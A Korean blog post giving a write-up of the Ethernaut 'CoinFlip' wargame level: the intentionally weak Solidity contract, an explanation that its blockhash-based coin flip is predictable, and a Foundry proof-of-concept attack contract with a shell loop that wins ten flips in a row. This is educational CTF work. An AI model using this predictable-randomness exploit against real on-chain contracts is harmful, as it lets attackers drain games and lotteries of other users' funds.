The Ethernaut : Coinflip

세인·2025년 12월 7일

block.number를 지정해서 blockhash를 받아오는 것은 누구나 할 수 있지 않나요?

문제 코드

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

로직 정리
  1. 문제 목표 : block.number-1에 해댕하는 blockhash를 읽어와서 홀짝 맞추는거를 10번 연속으로 해야함
  2. blockhash는 누구나 읽어올 수 있는 값이다
  3. coinflip함수를 똑같이 만들어서 flip(side)를 호출한다. (그러면 똑같은 coinflip 결과가 나올 것이다.)
  4. 이 flip 함수 호출하는 스크립트를 10번 호출한다.
    1. 다만 블록 생성 시간이 12초 간격이 있으므로 그 시간 간격을 고려해서 스크립트를 10번 호출하면 된다.

PoC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
import {CoinFlip} from "../src/Coinflip.sol";

contract Attack {
    address public target;

    uint256 public constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _target) {
        target = _target;
    }

    function attack() public {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;

        bool side = (coinFlip == 1);
        CoinFlip(target).flip(side);
    }
}

contract PoC is Script {
    address public target = 0x41d9e0fB5Af91eb5FFfb7891b3d5DD6e79C0D38d;
    uint256 pk = vm.envUint("PRIV_KEY");

    function run() public {
        vm.startBroadcast(pk);

        Attack attack = new Attack(target);
        attack.attack();

        vm.stopBroadcast();
    }
}

10번 호출하는 명령어
for i in {1..10}; do
forge script ./Counter.s.sol:PoC --rpc-url $RPC_URL --broadcast; sleep 10
done; 
profile
세종과학기지 세인지부

0개의 댓글